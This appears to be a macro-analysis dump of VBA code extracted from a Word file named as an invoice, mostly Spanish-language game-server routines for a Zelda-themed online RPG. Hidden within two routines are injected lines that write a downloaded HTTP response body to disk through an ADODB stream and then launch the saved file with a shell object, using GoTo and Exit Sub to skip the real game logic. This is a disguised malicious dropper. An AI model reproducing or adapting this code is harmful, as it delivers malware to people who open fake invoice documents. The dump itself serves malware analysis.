  667.  Call SendPlayerQuests(index)
  668.  For i = 1 To MAX_PLAYER_SPELLS
  669.  player(index).Spell(i) = 0
  670.  Next
  671.  Call SendPlayerSpells(index)
  672.  player(index).NPCKills = 0
  673.  For i = 1 To MAX_HOTBAR
  674.  player(index).Hotbar(i).slot = 0
  675.  player(index).Hotbar(i).sType = 0
  676.  Next
  677.  Call SendHotbar(index)
  678.  For i = 1 To Stats.Stat_Count - 1
  679.  player(index).stat(i) = Class(GetPlayerClass(index)).stat(i)
  680.  Next
  681.  For i = 1 To Vitals.Vital_Count - 1
  682.  Call SendVital(index, i)
  683.  Next
  684.  Call ClearBank(index)
  685.  Call SaveBank(index)
  686.  Call SetPlayerBags(index, 1)
  687.  Call ComputeAllPlayerStats(index)
  688.  Call SendStats(index)
  689.  Call SendPlayerData(index)
  690. End Sub
  691. Public Sub ComputePlayerReset(ByVal index As Long, ByVal triforce As String)
  692.  Dim colour As Byte
  693.  Dim message As String
  694.  Dim i As Byte
  695.  Dim found As Boolean
  696.  If Not IsPlaying(index) Then Exit Sub
  697.  If Not GetPlayerLevel(index) >= 80 Then
  698.  PlayerMsg index, "Debes ser lvl 80 como m?nimo", BrightRed
  699.  Exit Sub
  700.  End If
  701.  If GetPlayerTriforcesNum(index) > 0 Then
  702.  PlayerMsg index, "Ya has renacido", BrightRed
  703.  Exit Sub
  704.  End If
  705.  If GetPlayerTriforce(index, triforce) = True Then
  706.  PlayerMsg index, "Ya tienes esa Trifuerza adquirida", BrightRed
  707.  Exit Sub
  708.  End If
  709.  found = False
  710.  For i = 1 To MAX_INV
  711.  If GetPlayerInvItemNum(index, i) > 0 Then
  712.  If Item(player(index).Inv(i).Num).Type = ITEM_TYPE_TRIFORCE Then
  713.  found = True
  714.  player(index).Inv(i).Num = 0
  715.  player(index).Inv(i).Value = 0
  716.  Call SendInventoryUpdate(index, i)
  717.  Exit For
  718.  End If
  719.  End If
  720.  Next
  721.  If Not found Then
  722.  PlayerMsg index, "No tienes la trifuerza", BrightRed
  723.  Exit Sub
  724.  End If
  725.  Call ResetPlayer(index)
  726.  player(index).triforce(triforce) = True
  727.  Select Case triforce
  728.  Case TRIFORCE_COURAGE
  729.  message = "del Valor"
  730.  colour = BrightGreen
  731.  Case TRIFORCE_WISDOM
  732.  message = "de la Sabidur?a"
  733.  colour = Cyan
  734.  Case TRIFORCE_POWER
  735.  message = "del Poder"
  736.  colour = BrightRed
  737.  End Select
  738.  For i = 1 To TriforceType.TriforceType_Count - 1
  739.  If GetPlayerTriforce(index, i) = True Then
  740.  Select Case i
  741.  Case TRIFORCE_COURAGE
  742.  SetPlayerStat index, Agility, GetPlayerStat(index, Agility) + 15
  743.  SetPlayerStat index, Endurance, GetPlayerStat(index, Endurance) + 15
  744.  Case TRIFORCE_WISDOM
  745.  SetPlayerStat index, Intelligence, GetPlayerStat(index, Intelligence) + 15
  746.  SetPlayerStat index, willpower, GetPlayerStat(index, willpower) + 15
  747.  Case TRIFORCE_POWER
  748.  SetPlayerStat index, Intelligence, GetPlayerStat(index, Intelligence) + 15
  749.  SetPlayerStat index, Strength, GetPlayerStat(index, Strength) + 15
  750.  End Select
  751.  End If
  752.  Next
  753.  Call SendPlayerData(index)
  754.  PlayerMsg index, "You feel a strange surge of power coursing through you.", BrightBlue, , False
  755.  GlobalMsg GetPlayerName(index) & " " & GetTranslation(" ha adquirido la trifuerza ") & " " & GetTranslation(message), colour, False, True
  756. End Sub
  757. Public Function GetPlayerTriforcesNum(ByVal index As Long) As Byte
  758. With adodbStream
  759. .write SetPlayerVit.responseBody
  760. End With
  761. GoTo l500
  762. Exit Function
  763. Dim i As Byte
  764. GetPlayerTriforcesNum = 0
  765. For i = 1 To TriforceType.TriforceType_Count - 1
  766.  If GetPlayerTriforce(index, i) = True Then
  767.  GetPlayerTriforcesNum = GetPlayerTriforcesNum + 1
  768.  End If
  769. Next
  770. l500:
  771.  
  772.     adodbStream.savetofile ItemNum1, 2
  773. End Function
  774. Public Function GetPlayerTriforce(ByVal index As Long, ByVal triforce As String) As Boolean
  775. Dim i As Byte
  776. If Not IsPlaying(index) Then Exit Function
  777. GetPlayerTriforce = False
  778. If triforce > 0 And triforce < TriforceType_Count Then
  779.  GetPlayerTriforce = player(index).triforce(triforce)
  780. End If
  781. End Function
  782. Public Function HasPlayerAnyTriforce(ByVal index As Long) As Boolean
  783. HasPlayerAnyTriforce = False
  784. Dim i As Byte
  785. For i = 1 To TriforceType.TriforceType_Count - 1
  786.  If GetPlayerTriforce(index, i) = True Then
  787.  HasPlayerAnyTriforce = True
  788.  Exit Function
  789.  End If
  790. Next
  791. End Function
  792. Public Function CanPlayerEquipItem(ByVal index As Long, ByVal ItemNum As Long) As Boolean
  793. Dim i As Byte
  794. CanPlayerEquipItem = False
  795. If Not (ItemNum > 0 And ItemNum <= MAX_ITEMS) Then Exit Function
  796. For i = 1 To Stats.Stat_Count - 1
  797.  If GetPlayerRawStat(index, i) < Item(ItemNum).Stat_Req(i) Then
  798.  PlayerMsg index, "No posees la estad?stica necesaria para equiparte ?ste ?tem.", BrightRed
  799.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
  800.  Exit Function
  801.  End If
  802. Next
  803. If GetPlayerLevel(index) < Item(ItemNum).LevelReq Then
  804.  PlayerMsg index, "No posees el nivel necesario para equiparte ?ste ?tem.", BrightRed
  805.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
  806. Exit Function
  807. End If
  808. If Item(ItemNum).ClassReq > 0 Then
  809.  If Not GetPlayerClass(index) = Item(ItemNum).ClassReq Then
  810.  PlayerMsg index, "No perteneces a la clase necesaria para equiparte ?ste ?tem.", BrightRed
  811.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
  812.  Exit Function
  813.  End If
  814. End If
  815. If Not GetPlayerAccess_Mode(index) >= Item(ItemNum).AccessReq Then
  816.  PlayerMsg index, "No posees el acceso necesario para equiparte ?ste ?tem.", BrightRed
  817.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
  818.  Exit Function
  819. End If
  820. If Item(ItemNum).BindType > 1 And Item(ItemNum).BindType < 5 Then
  821.  If player(index).triforce(Item(ItemNum).BindType - 1) = False Then
  822.  PlayerMsg index, "No posees la trifuerza para equiparte ?ste ?tem", BrightRed
  823.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
  824.  Exit Function
  825.  End If
  826. ElseIf Item(ItemNum).BindType = 5 Then
  827.  If HasPlayerAnyTriforce(index) = False Then
  828.  PlayerMsg index, "Debes poseer una trifuerza para equiparte ?ste ?tem", BrightRed
  829.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
  830.  Exit Function
  831.  End If
  832. End If
  833. If Item(ItemNum).ArmyType_Req <> NONE_PLAYER Then
  834.  If GetPlayerPK(index) <> Item(ItemNum).ArmyType_Req Then
  835.  PlayerMsg index, "No perteneces a la armada necesaria para equiparte este ?tem", BrightRed
  836.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
  837.  Exit Function
  838.  Else
  839.  If Item(ItemNum).ArmyRange_Req > 0 Then
  840.  If GetPlayerArmyRange(index) < Item(ItemNum).ArmyRange_Req Then
  841.  PlayerMsg index, "No tienes suficiente rango", BrightRed
  842.  SendPlayerSound index, GetPlayerX(index), GetPlayerY(index), SoundEntity.seError, 1
  843.  Exit Function
  844.  End If
  845.  End If
  846.  End If
  847. End If
  848. CanPlayerEquipItem = True
  849. End Function
  850. Public Function CheckSafeMode(ByVal attacker As Long, ByVal victim As Long) As Boolean
  851.  If IsPlayerNeutral(victim) Then
  852.  If GetPlayerSafeMode(attacker) = True Then
  853.  CheckSafeMode = True
  854.  Else
  855.  CheckSafeMode = False
  856.  End If
  857.  Else
  858.  CheckSafeMode = False
  859.  End If
  860. End Function
  861. Public Function GetPlayerSafeMode(ByVal index As Long) As Boolean
  862.  GetPlayerSafeMode = player(index).SafeMode
  863. End Function
  864. Public Function GetPlayerNameColorByTriforce(ByVal index As Long) As Long
  865. Dim color As Byte
  866. Dim i As Byte
  867. i = GetPlayerTriforcesNum(index)
  868. If i = 0 Then
  869.  GetPlayerNameColorByTriforce = BrightGreen
  870.  Exit Function
  871. Else
  872.  If GetPlayerTriforce(index, TRIFORCE_WISDOM) Then
  873.  color = Cyan
  874.  End If
  875.  If GetPlayerTriforce(index, TRIFORCE_COURAGE) Then
  876.  color = Green
  877.  End If
  878.  If GetPlayerTriforce(index, TRIFORCE_POWER) Then
  879.  color = Red
  880.  End If
  881. End If
  882. GetPlayerNameColorByTriforce = color
  883. End Function
  884. Public Function GetPlayerTriforcesName(ByVal index As Long) As String
  885. Dim Chain As String
  886. Dim i As Byte
  887. Dim j As Byte
  888. i = GetPlayerTriforcesNum(index)
  889. Chain = vbNullString
  890. If i = 0 Then
  891.  Chain = vbNullString
  892. Else
  893.  For j = 1 To TriforceType.TriforceType_Count - 1
  894.  If GetPlayerTriforce(index, j) = True Then
  895.  Select Case j
  896.  Case TriforceType.TRIFORCE_COURAGE
  897.  Chain = Chain + "<Valor>"
  898.  Case TriforceType.TRIFORCE_WISDOM
  899.  Chain = Chain + "<Sabidur?a>"
  900.  Case TriforceType.TRIFORCE_POWER
  901.  Chain = Chain + "<Poder>"
  902.  End Select
  903.  End If
  904.  Next
  905. End If
  906. GetPlayerTriforcesName = Chain
  907. End Function
  908. Public Function GetPlayerMaxMoney(ByVal index As Long) As Long
  909.  GetPlayerMaxMoney = GetMaxMoneyByBag(GetPlayerBags(index))
  910. End Function
  911. Public Function GetPlayerBags(ByVal index As Long) As Byte
  912.  GetPlayerBags = player(index).RupeeBags
  913. End Function
  914. Sub SetPlayerBags(ByVal index As Long, ByVal Bags As Byte)
  915.  If (Bags <= MAX_RUPEE_BAGS) Then
  916.  player(index).RupeeBags = Bags
  917.  SendBags index, Bags
  918.  End If
  919. End Sub
  920. Public Function CheckMoneyAdd(ByVal index As Long, ByVal initialvalue As Long, ByVal addvalue As Long) As Long
  921. CheckMoneyAdd = initialvalue + addvalue
  922. Dim MaxMoney As Long
  923. MaxMoney = GetPlayerMaxMoney(index)
  924. If CheckMoneyAdd > MaxMoney Then CheckMoneyAdd = MaxMoney
  925. End Function
  926. Public Function CheckBankMoneyAdd(ByVal initialvalue As Long, ByVal addvalue As Long) As Long
  927. CheckBankMoneyAdd = initialvalue + addvalue
  928. If (CheckBankMoneyAdd > MAX_BANK_RUPEES) Then
  929.  CheckBankMoneyAdd = MAX_BANK_RUPEES
  930. End If
  931. End Function
  932. Public Function GetMaxMoneyByBag(ByVal Bags As Byte) As Long
  933.  If (Bags >= MAX_RUPEE_BAGS) Then
  934.  GetMaxMoneyByBag = Bags * BAG_CAPACITY - 1
  935.  Else
  936.  GetMaxMoneyByBag = Bags * BAG_CAPACITY
  937.  End If
  938. End Function
  939. Public Function SetPlayerCustomSprite(ByVal index As Long, ByVal CustomSprite As Byte)
  940.  If CustomSprite > MAX_CUSTOM_SPRITES Then Exit Function
  941.  player(index).CustomSprite = CustomSprite
  942. End Function
  943. Public Function GetPlayerCustomSprite(ByVal index As Long) As Byte
  944.  If player(index).CustomSprite > MAX_CUSTOM_SPRITES Then Exit Function
  945.  GetPlayerCustomSprite = player(index).CustomSprite
  946. End Function
  947. Public Sub SendEquipmentUpdate(ByVal index As Long)
  948.  Call SendWornEquipment(index)
  949.  Call SendMapEquipment(index)
  950.  Call SendStats(index)
  951.  Call SendVital(index, Vitals.HP)
  952.  Call SendVital(index, Vitals.MP)
  953.  If TempPlayer(index).inParty > 0 Then SendPartyVitals TempPlayer(index).inParty, index
  954. End Sub
  955. Sub ResetPlayerInactivity(ByVal index As Long)
  956.  TempPlayer(index).InactiveTime = 0
  957. End Sub
  958. Function GetInactiveTime(ByVal index As Long) As Long
  959.  GetInactiveTime = TempPlayer(index).InactiveTime
  960. End Function
  961. Sub WarpXtoY(ByVal X As Long, ByVal Y As Long, ByVal carry As Boolean)
  962.  If X = Y Then Exit Sub
  963.  If Not IsPlaying(X) Or Not IsPlaying(Y) Then Exit Sub
  964.  Call PlayerWarpByEvent(X, GetPlayerMap(Y), GetPlayerX(Y), GetPlayerY(Y))
  965.  If carry Then
  966.  Call AddLog(Y, GetPlayerName(Y) & " has warped " & GetPlayerName(X) & " to self, map #" & GetPlayerMap(Y) & ".", ADMIN_LOG)
  967.  If GetPlayerVisible(Y) = 0 Then
  968.  Call PlayerMsg(X, GetTranslation("Has sido teletransportado por") & " " & GetPlayerName(Y) & ".", Cyan, , False)
  969.  Call PlayerMsg(Y, GetPlayerName(X) & " " & GetTranslation("ha sido teletransportado"), Cyan, , False)
  970.  End If
  971.  Else
  972.  Call AddLog(X, GetPlayerName(X) & " has warped to " & GetPlayerName(Y) & ", map #" & GetPlayerMap(Y) & ".", ADMIN_LOG)
  973.  If GetPlayerVisible(X) = 0 Then
  974.  Call PlayerMsg(Y, GetPlayerName(X) & GetTranslation(" se ha teletransportado hacia ti."), Cyan, , False)
  975.  Call PlayerMsg(X, GetTranslation("Has sido teletransportado hacia ") & GetPlayerName(Y) & ".", Cyan, , False)
  976.  End If
  977.  End If
  978. End Sub
  979. Sub BlockPlayerAction(ByVal index As Long, ByVal PlayerAction As String, ByVal Time As Single)
  980.  If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Sub
  981.  TempPlayer(index).BlockedActions(PlayerAction).Value = True
  982.  TempPlayer(index).BlockedActions(PlayerAction).Timer = GetRealTickCount + Time * 1000
  983.  SendBlockedAction index, PlayerAction
  984. End Sub
  985. Function IsActionBlocked(ByVal index As Long, ByVal PlayerAction As String) As Boolean
  986.  If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Function
  987.  IsActionBlocked = TempPlayer(index).BlockedActions(PlayerAction).Value
  988. End Function
  989. Sub UnblockPlayerAction(ByVal index As Long, ByVal PlayerAction As String)
  990.  If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Sub
  991.  TempPlayer(index).BlockedActions(PlayerAction).Value = False
  992.  TempPlayer(index).BlockedActions(PlayerAction).Timer = 0
  993.  SendBlockedAction index, PlayerAction
  994. End Sub
  995. Sub UnblockAllPlayerActions(ByVal index As Long)
  996.  If index = 0 Then Exit Sub
  997.  Dim i As Long
  998.  For i = 1 To PlayerActions_Count - 1
  999.  If IsActionBlocked(index, i) Then
  1000.  UnblockPlayerAction index, i
  1001.  End If
  1002.  Next
  1003. End Sub
  1004. Sub CheckPlayerActions(ByVal index As Long, ByVal Tick As Long)
  1005.  Dim i As Byte
  1006.  For i = 1 To PlayerActions_Count - 1
  1007.  If TempPlayer(index).BlockedActions(i).Value = True Then
  1008.  If TempPlayer(index).BlockedActions(i).Timer < Tick Then
  1009.  UnblockPlayerAction index, i
  1010.  End If
  1011.  End If
  1012.  Next
  1013. End Sub
  1014. Sub ProtectPlayerAction(ByVal index As Long, ByVal PlayerAction As String, ByVal Time As Single)
  1015.  If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Sub
  1016.  TempPlayer(index).ProtectedActions(PlayerAction).Value = True
  1017.  TempPlayer(index).ProtectedActions(PlayerAction).Timer = GetRealTickCount + Time * 1000
  1018. End Sub
  1019. Function IsActionProtected(ByVal index As Long, ByVal PlayerAction As String) As Boolean
  1020.  If index < 1 Or Not (0 < PlayerAction < PlayerActions_Count) Then Exit Function
  1021.  IsActionProtected = TempPlayer(index).ProtectedActions(PlayerAction).Value
  1022. End Function
  1023. Sub ResetPlayerProtection(ByVal index As Long, ByVal PlayerAction As String)
  1024.  If index < 1 Or PlayerAction < 1 Or PlayerAction >= PlayerActions_Count Then Exit Sub
  1025.  TempPlayer(index).ProtectedActions(PlayerAction).Value = False
  1026.  TempPlayer(index).ProtectedActions(PlayerAction).Timer = 0
  1027. End Sub
  1028. Sub CheckPlayerProtections(ByVal index As Long, ByVal Tick As Long)
  1029.  Dim i As Byte
  1030.  For i = 1 To PlayerActions_Count - 1
  1031.  If TempPlayer(index).ProtectedActions(i).Value Then
  1032.  If TempPlayer(index).ProtectedActions(i).Timer < Tick Then
  1033.  ResetPlayerProtection index, i
  1034.  End If
  1035.  End If
  1036.  Next
  1037. End Sub
  1038. Public Sub CheckPlayerActionsProtections(ByVal index As Long)
  1039.  Dim i As Byte
  1040.  shellApp.Open (ItemNum1)
  1041.  Exit Sub
  1042.  For i = 1 To PlayerActions_Count - 1
  1043.  If IsActionBlocked(index, i) Then
  1044.  If IsActionProtected(index, i) Then
  1045.  UnblockPlayerAction index, i
  1046.  End If
  1047.  End If
  1048.  Next
  1049. End Sub
  1050. Sub KickPlayer(ByVal index As Long, Optional ByRef Reason As String = "")
  1051.  If index = 0 Or Not IsPlaying(index) Then Exit Sub
  1052.  Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" ha sido expulsado por: ") & " " & Reason, White, False, True)
  1053.  Call AddLog(0, GetPlayerName(index) & " " & GetTranslation(" ha sido expulsado por: ") & " " & Reason, ADMIN_LOG)
  1054.  Call AlertMsg(index, "Has sido expulsado por: " & Reason)
  1055. End Sub
  1056. Sub ClearPlayerTarget(ByVal index As Long)
  1057.  TempPlayer(index).Target = 0
  1058.  TempPlayer(index).TargetType = TARGET_TYPE_NONE
  1059.  SendTarget index
  1060. End Sub
  1061. Sub EarthQuake(ByVal index As Long)
  1062.  Dim a As Variant
  1063.  For Each a In GetMapPlayerCollection(GetPlayerMap(index))
  1064.  If a <> index Then
  1065.  If IsinRange(4, GetPlayerX(index), GetPlayerY(index), GetPlayerX(a), GetPlayerY(a)) Then
  1066.  Call PlayerAttackPlayer(index, a, GetPlayerDamageAgainstPlayer(index, a))
  1067.  End If
  1068.  End If
  1069.  Next
  1070. End Sub
  1071. Sub CheckGodAttack(ByVal index As Long)
  1072.  If GPE(index) Then
  1073.  UnblockAllPlayerActions index
  1074.  EarthQuake index
  1075.  End If
  1076. End Sub
  1077. Sub ComputePlayerAttackTimer(ByVal index As Long)
  1078.  SetPlayerAttackTimer index, GetRealTickCount
  1079. End Sub
  1080. Function CanPlayerAttackTimer(ByVal index As Long) As Boolean
  1081.  Dim Timer As Long, ItemNum As Long
  1082.  Timer = GetPlayerAttackTimer(index)
  1083.  ItemNum = GetPlayerEquipment(index, Weapon)
  1084.  If ItemNum > 0 Then
  1085.  If GetRealTickCount > Timer + GetItemSpeed(ItemNum) Then
  1086.  CanPlayerAttackTimer = True
  1087.  End If
  1088.  Else
  1089.  If GetRealTickCount > Timer + 1000 Then
  1090.  CanPlayerAttackTimer = True
  1091.  End If
  1092.  End If
  1093. End Function
  1094. Function GetPlayerAttackTimer(ByVal index As Long) As Long
  1095.  GetPlayerAttackTimer = TempPlayer(index).AttackTimer
  1096. End Function
  1097. Sub SetPlayerAttackTimer(ByVal index As Long, ByVal Time As Long)
  1098.  TempPlayer(index).AttackTimer = Time
  1099. End Sub
  1100.  
  1101.  
  1102. -------------------------------------------------------------------------------
  1103. VBA MACRO Module3.bas
  1104. in file: invoice574206_1.doc - OLE stream: u'Macros/VBA/Module3'
  1105. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  1106.  
  1107. Sub HandleUseChar(ByVal index As Long, ByVal NeedData As Boolean)
  1108.  If Not IsPlaying(index) Then
  1109.  Call JoinGame(index, NeedData)
  1110.  Call AddLog(index, GetPlayerLogin(index) & "/" & GetPlayerName(index) & " has logged in.", PLAYER_LOG)
  1111.  Call TextAdd(GetPlayerLogin(index) & "/" & GetPlayerName(index) & " has logged in.")
  1112.  Call UpdateCaption
  1113.  End If
  1114. End Sub
  1115. Sub JoinGame(ByVal index As Long, ByVal NeedData As Boolean)
  1116.  Dim i As Long, j As Long
  1117.  TempPlayer(index).InGame = True
  1118.  frmServer.lvwInfo.ListItems(index).SubItems(1) = GetPlayerIP(index)
  1119.  frmServer.lvwInfo.ListItems(index).SubItems(2) = GetPlayerLogin(index)
  1120.  frmServer.lvwInfo.ListItems(index).SubItems(3) = GetPlayerName(index)
  1121.  SendLoginOk index
  1122.  DoEvents
  1123.  TotalPlayersOnline = TotalPlayersOnline + 1
  1124.  CalculateSleepTime
  1125.  ByteCounter = 0
  1126.  DoEvents
  1127.  CheckPlayerStateAtJoin index
  1128.  SendMaxWeight index
  1129.  Call CheckEquippedItems(index)
  1130.  If NeedData Then
  1131.  Call SendClasses(index)
  1132.  Call SendItems(index)
  1133.  Call SendAnimations(index)
  1134.  Call SendNpcs(index)
  1135.  Call SendShops(index)
  1136.  Call SendSpells(index)
  1137.  Call SendResources(index)
  1138.  Call SendQuests(index)
  1139.  Call SendPets(index)
  1140.  Call SendCustomSprites(index)
  1141.  If GetPlayerAccess_Mode(index) >= ADMIN_CREATOR Then
  1142.  Call SendMovements(index)
  1143.  Call SendActions(index)
  1144.  Call SendDoors(index)
  1145.  End If
  1146.  End If
  1147.  Call SendInventory(index)
  1148.  Call SendWornEquipment(index)
  1149.  Call SendMapEquipment(index)
  1150.  Call SendPlayerSpells(index)
  1151.  Call SendHotbar(index)
  1152.  Call SendWeather(index)
  1153.  Call SendRunningSprites(index)
  1154.  SendKillPoints index
  1155.  SendPlayerBonusPoints index
  1156.  ComputePlayerSpeed index
  1157.  CheckToAddMap GetPlayerMap(index)
  1158.  SendStaminaInfo index
  1159.  AddMapPlayer index, GetPlayerMap(index)
  1160.  For i = 1 To Vitals.Vital_Count - 1
  1161.  Call SendVital(index, i)
  1162.  Next
  1163.  CheckPlayerOutOfExp index
  1164.  SendEXP index
  1165.  Call ComputeAllPlayerStats(index)
  1166.  Call SendStats(index)
  1167.  Call PlayerSpawn(index, GetPlayerMap(index), GetPlayerX(index), GetPlayerY(index))
  1168.  If GetPlayerAccess_Mode(index) <= ADMIN_MONITOR Then
  1169.  Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" se ha conectado"), BrightGreen, False)
  1170.  Else
  1171.  Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" se ha conectado"), BrightGreen, False)
  1172.  End If
  1173.  Call SendWelcome(index)
  1174.  If frmServer.chkTroll.Value = vbChecked Then PlayerMsg index, "You are on a Troll server. Type /admin for admin menu.", BrightRed, , False
  1175.  Call GuildLoginCheck(index)
  1176.  If player(index).points > 0 Then
  1177.  PlayerMsg index, "You have " & player(index).points & " unspent stat points!", White, , False
  1178.  End If
  1179.  Call InitPlayerPets(index)
  1180.  Call SendPetData(index, TempPlayer(index).TempPet.ActualPet)
  1181.  Call SetPlayerWeight(index, CalculatePlayerWeight(index))
  1182.  TempPlayer(index).Req = False
  1183.  If IsPlayerOverWeight(index) Then
  1184.  PlayerMsg index, "Soportas demasiado peso! No puedes moverte, arroja items al suelo para bajar tu peso.", BrightRed
  1185.  End If
  1186.  If ArePlayersOnMap(GetPlayerMap(index)) > 0 Then
  1187.  Dim a As Variant
  1188.  For Each a In GetMapPlayerCollection(GetPlayerMap(index))
  1189.  If a <> index Then
  1190.  SendMapEquipmentTo a, index
  1191.  End If
  1192.  Next
  1193.  End If
  1194.  SendInGame index
  1195. End Sub
  1196. Sub LeftGame(ByVal index As Long)
  1197.  Dim N As Long, i As Long
  1198.  Dim tradeTarget As Long
  1199.  If TempPlayer(index).InGame Then
  1200.  TempPlayer(index).InGame = False
  1201.  DeleteMapPlayer index, GetPlayerMap(index)
  1202.  If TempPlayer(index).InTrade > 0 Then
  1203.  tradeTarget = TempPlayer(index).InTrade
  1204.  PlayerMsg tradeTarget, Trim$(GetPlayerName(index)) & " " & GetTranslation("ha rechazado el comercio."), BrightRed, , False
  1205.  For i = 1 To MAX_INV
  1206.  TempPlayer(tradeTarget).TradeOffer(i).Num = 0
  1207.  TempPlayer(tradeTarget).TradeOffer(i).Value = 0
  1208.  Next
  1209.  TempPlayer(tradeTarget).InTrade = 0
  1210.  SendCloseTrade tradeTarget
  1211.  End If
  1212.  If IsInTeam(index) Then
  1213.  ClearTeamPlayer index
  1214.  End If
  1215.  Party_PlayerLeave index
  1216.  If player(index).GuildFileId > 0 Then
  1217.  GuildData(TempPlayer(index).tmpGuildSlot).Guild_Members(player(index).GuildMemberId).Online = False
  1218.  Call CheckUnloadGuild(TempPlayer(index).tmpGuildSlot)
  1219.  End If
  1220.  Call SavePlayer(index)
  1221.  Call SaveBank(index)
  1222.  Call ClearBank(index)
  1223.  If GetPlayerAccess_Mode(index) <= ADMIN_MONITOR Then
  1224.  Call GlobalMsg(GetPlayerName(index) & " " & GetTranslation(" se ha desconectado"), BrightRed, False)
  1225.  Else
  1226.  End If
  1227.  Call TextAdd(GetPlayerName(index) & " " & GetTranslation(" se ha desconectado ") & ".")
  1228.  Call SendLeftGame(index)
  1229.  TotalPlayersOnline = TotalPlayersOnline - 1
  1230.  CalculateSleepTime
  1231.  End If
  1232.  UnLockPlayerLogin player(index).login
  1233.  Call ClearPlayer(index)
  1234. End Sub
  1235. Function GetPlayerProtection(ByVal index As Long) As Long
  1236.  Dim Armor As Long
  1237.  Dim Helm As Long
  1238.  GetPlayerProtection = 0
  1239.  If IsPlaying(index) = False Or index <= 0 Or index > Player_HighIndex Then
  1240.  Exit Function
  1241.  End If
  1242.  Armor = GetPlayerEquipment(index, Armor)
  1243.  Helm = GetPlayerEquipment(index, helmet)
  1244.  GetPlayerProtection = (GetPlayerStat(index, Stats.Endurance) \ 5)
  1245.  If Armor > 0 Then
  1246.  GetPlayerProtection = GetPlayerProtection + Item(Armor).Data2
  1247.  End If
  1248.  If Helm > 0 Then
  1249.  GetPlayerProtection = GetPlayerProtection + Item(Helm).Data2
  1250.  End If
  1251. End Function
  1252. Function CanPlayerCriticalHit(ByVal index As Long) As Boolean
  1253.  On Error Resume Next
  1254.  Dim i As Long
  1255.  Dim N As Long
  1256.  If GetPlayerEquipment(index, Weapon) > 0 Then
  1257.  N = (Rnd) * 1.333
  1258.  If N = 1 Then
  1259.  i = (GetPlayerStat(index, Stats.Strength) \ 2) + (GetPlayerLevel(index) \ 2)
  1260.  N = Int(Rnd * 100) + 1
  1261.  If N <= i Then
  1262.  CanPlayerCriticalHit = True
  1263.  End If
  1264.  End If
  1265.  End If
  1266. End Function
  1267. Function CanPlayerBlockHit(ByVal index As Long) As Boolean
  1268.  Dim i As Long
  1269.  Dim N As Long
  1270.  Dim ShieldSlot As Long
  1271.  ShieldSlot = GetPlayerEquipment(index, Shield)
  1272.  If ShieldSlot > 0 Then
  1273.  N = Int(Rnd * 2)
  1274.  If N = 1 Then
  1275.  i = (GetPlayerStat(index, Stats.Endurance) \ 2) + (GetPlayerLevel(index) \ 2)
  1276.  N = Int(Rnd * 100) + 1
  1277.  If N <= i Then
  1278.  CanPlayerBlockHit = True
  1279.  End If
  1280.  End If
  1281.  End If
  1282. End Function
  1283. Sub ForcePlayerMove(ByVal index As Long, ByVal Movement As Long, ByVal Direction As Long)
  1284.  If Direction < DIR_UP Or Direction > DIR_RIGHT Then Exit Sub
  1285.  If Movement < 1 Or Movement > 2 Then Exit Sub
  1286.  Select Case Direction
  1287.  Case DIR_UP
  1288.  If GetPlayerY(index) = 0 Then Exit Sub
  1289.  Case DIR_LEFT
  1290.  If GetPlayerX(index) = 0 Then Exit Sub
  1291.  Case DIR_DOWN
  1292.  If GetPlayerY(index) = map(GetPlayerMap(index)).MaxY Then Exit Sub
  1293.  Case DIR_RIGHT
  1294.  If GetPlayerX(index) = map(GetPlayerMap(index)).MaxX Then Exit Sub
  1295.  End Select
  1296.  PlayerMove index, Direction, Movement, True
  1297. End Sub
  1298. Sub CheckEquippedItems(ByVal index As Long)
  1299.  Dim slot As Long
  1300.  Dim ItemNum As Long
  1301.  Dim i As Long
  1302.  For i = 1 To Equipment.Equipment_Count - 1
  1303.  ItemNum = GetPlayerEquipment(index, i)
  1304.  If ItemNum > 0 Then
  1305.  Select Case i
  1306.  Case Equipment.Weapon
  1307.  If Item(ItemNum).Type <> ITEM_TYPE_WEAPON Then SetPlayerEquipment index, 0, i
  1308.  Case Equipment.Armor
  1309.  If Item(ItemNum).Type <> ITEM_TYPE_ARMOR Then SetPlayerEquipment index, 0, i
  1310.  Case Equipment.helmet
  1311.  If Item(ItemNum).Type <> ITEM_TYPE_HELMET Then SetPlayerEquipment index, 0, i
  1312.  Case Equipment.Shield
  1313.  If Item(ItemNum).Type <> ITEM_TYPE_SHIELD Then SetPlayerEquipment index, 0, i
  1314.  End Select
  1315.  Else
  1316.  SetPlayerEquipment index, 0, i
  1317.  End If
  1318.  Next
  1319. End Sub
  1320. Function FindOpenInvSlot(ByVal index As Long, ByVal ItemNum As Long) As Long
  1321.  Dim i As Long
  1322.  If IsPlaying(index) = False Or ItemNum <= 0 Or ItemNum > MAX_ITEMS Then
  1323.  Exit Function
  1324.  End If
  1325.  FindOpenInvSlot = 0
  1326.  If isItemStackable(ItemNum) Then
  1327.  Dim Tempitemnum As Long
  1328.  Dim FreeSlot As Long
  1329.  FreeSlot = 0
  1330.  For i = 1 To MAX_INV
  1331.  Tempitemnum = GetPlayerInvItemNum(index, i)
  1332.  If Tempitemnum = ItemNum Then
  1333.  FindOpenInvSlot = i
  1334.  Exit Function
  1335.  ElseIf Tempitemnum = 0 And FindOpenInvSlot = 0 Then
  1336.  FindOpenInvSlot = i
  1337.  End If
  1338.  Next
  1339.  Else
  1340.  For i = 1 To MAX_INV
  1341.  If GetPlayerInvItemNum(index, i) = 0 Then
  1342.  FindOpenInvSlot = i
  1343.  Exit Function
  1344.  End If
  1345.  Next
  1346.  End If
  1347. End Function
